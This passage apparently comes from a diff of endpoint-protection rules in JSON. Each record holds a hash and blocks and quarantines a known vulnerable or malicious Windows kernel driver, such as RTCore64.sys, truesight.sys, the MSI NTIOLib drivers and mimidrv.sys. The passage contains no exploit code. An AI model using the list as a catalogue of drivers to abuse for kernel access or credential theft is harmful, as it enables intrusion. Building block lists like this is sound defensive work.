+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459385Z",
+  "creation_date": "2026-03-23T11:45:30.459389Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459397Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db1dbb09d437d3e8bed08c88ca43769b4fe8728f68b78ff6f9c8d2557e28d2b1",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "185f5d80-f41c-5061-93df-721f71c369d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619054Z",
+  "creation_date": "2026-03-23T11:45:29.619056Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619062Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1b708dd7b10616693fd6b56e0b47d9fa6b90f9db28cbf3893b815222e2fa2e5",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18759823-b744-5986-874d-9db2951e6aed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615434Z",
+  "creation_date": "2026-03-23T11:45:29.615436Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615441Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7fa5c326b294f4fc537207a27947c2fcbbfa4eabde1ba4727c92cd8613e0fc7f",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1875b6fb-099c-5b12-a371-719047524fd8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150194Z",
+  "creation_date": "2026-03-23T11:45:31.150196Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150201Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "198ad963612c57f44158156a0142cc607d867fc7d478a0aaf711d0bdd131e2db",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18867532-5a88-5a89-a010-a7db15a44a80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975992Z",
+  "creation_date": "2026-03-23T11:45:29.975994Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975999Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3a9e1d17beeb514f1b9b3bacaee7420285de5cbdce89c5319a992c6cbd1de138",
+  "comment": "SystemInformer driver (aka systeminformer.sys, formerly known as kprocesshacker.sys) [https://github.com/winsiderss/systeminformer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "188c4aef-614b-503e-8a62-2505f8dfc3ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485135Z",
+  "creation_date": "2026-03-23T11:45:31.485138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485147Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e1a8f5f9657c32d55a36cae3071dd874b0504f645d37e633d65a313192075ee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "188c502e-fe31-584d-9125-47d31962df38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153942Z",
+  "creation_date": "2026-03-23T11:45:31.153944Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153958Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d70eb4feb73020f17d62933062b0bdb47aa2e236f868c2f2beb492810811f24",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "188d63e0-66f7-5911-aab0-fa797b425113",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145318Z",
+  "creation_date": "2026-03-23T11:45:32.145321Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145329Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "507b07b0dc0e638b65b4a4d11a462b35439c746d42337b9888927bf994176102",
+  "comment": "Vulnerable Kernel Driver (aka SeasunProtect.sys) [https://www.loldrivers.io/drivers/3a9ea9a6-e5e3-439a-b892-1f78dd990099/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1893c7d6-1896-5c6b-9f9c-7d87295dddfe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453753Z",
+  "creation_date": "2026-03-23T11:45:30.453757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453766Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b40db5bb6a76ca9aed98366dc19f0c31c50b3f0ac96e0f615e4c52abb6bb0cde",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "189ae851-081f-50bb-b7c1-ec5ff0f47672",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982818Z",
+  "creation_date": "2026-03-23T11:45:29.982821Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982826Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c60fcff9c8e5243bbb22ec94618b9dcb02c59bb49b90c04d7d6ab3ebbd58dc3a",
+  "comment": "Vulnerable Kernel Driver (aka ProxyDrv.sys) [https://www.loldrivers.io/drivers/0e3b0052-18c7-4c8b-a064-a1332df07af2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "189d3e7e-3e66-5788-a2e8-55d558a5de9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816302Z",
+  "creation_date": "2026-03-23T11:45:30.816304Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816309Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5fae7e491b0d919f0b551e15e0942ac7772f2889722684aea32cff369e975879",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18a4d7e9-4210-500b-ab17-7ad4c85fd9bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610405Z",
+  "creation_date": "2026-03-23T11:45:29.610407Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610413Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d19ee789e101e5a76834fb411aadf8229f08b3ece671343ad57a6576a525036",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18a75389-90d1-528a-ae72-23353bc13875",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470922Z",
+  "creation_date": "2026-03-23T11:45:30.470926Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "683936955d7e3281573fcbaa149fc384a06dc4a12cd67ce601aba2f1a32b19c3",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18a87291-bce2-5380-974e-a892e7d75199",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821051Z",
+  "creation_date": "2026-03-23T11:45:31.821054Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821062Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d67133fb200fb009235f10e7f87674f627c65d1320b63d22dff10dc9efe00e41",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18aa80c8-228a-5db4-84b2-164dab9da9dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815629Z",
+  "creation_date": "2026-03-23T11:45:30.815632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f30ecd4faec147a2335a4fc031c8a1ac9310c35339ebeb651eb1429421951a0",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18b8d519-5e8c-54c5-82cf-ab7ab90f922d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460350Z",
+  "creation_date": "2026-03-23T11:45:30.460354Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460362Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "613d6cc154586c21b330018142a89eac4504e185f0be7f86af975e5b6c046c55",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18c67298-9ca1-5c9a-8409-b253515f4e81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615640Z",
+  "creation_date": "2026-03-23T11:45:29.615642Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eae8045d43f16e33232fd8bd2399f48b14f8a6391c9fffe38960c03fee978b27",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18e872fd-a45a-5812-941d-2608f99a740e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491984Z",
+  "creation_date": "2026-03-23T11:45:31.491986Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491991Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e63fe1bfbbc1b8fade1fd13bac1504a82c5846a8abd9359ce90b6e0fecbbb7aa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18eb6bf7-4b88-5622-9bd5-285a92b073f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819140Z",
+  "creation_date": "2026-03-23T11:45:30.819142Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819148Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac7cd788581d6f8098b5d438546eb3584c1b08dbe7fd3b1ddc2a7295bd4dd16f",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18f07e05-d597-5181-8e27-2732a91f055e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832443Z",
+  "creation_date": "2026-03-23T11:45:30.832445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832451Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a785bd53993312166463fd39b61d610cb304376d73846318646c54d34896f952",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "190daa73-097a-5f4e-97f5-d5b33f87e3ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980585Z",
+  "creation_date": "2026-03-23T11:45:29.980587Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980592Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e269b4cb9df863c31ae13012429f67a0f3cd81481025d35ce6531b33b63b5976",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1911593b-bfe5-5daf-9db9-204c3f44a6e8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473325Z",
+  "creation_date": "2026-03-23T11:45:31.473329Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473338Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fef2b46b8a2ac3dd99373b45b3c55ebac2f87cd4b43ca5de2e06cfe88602431d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19147c82-4285-569b-a634-5a13bf016abc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975497Z",
+  "creation_date": "2026-03-23T11:45:29.975500Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
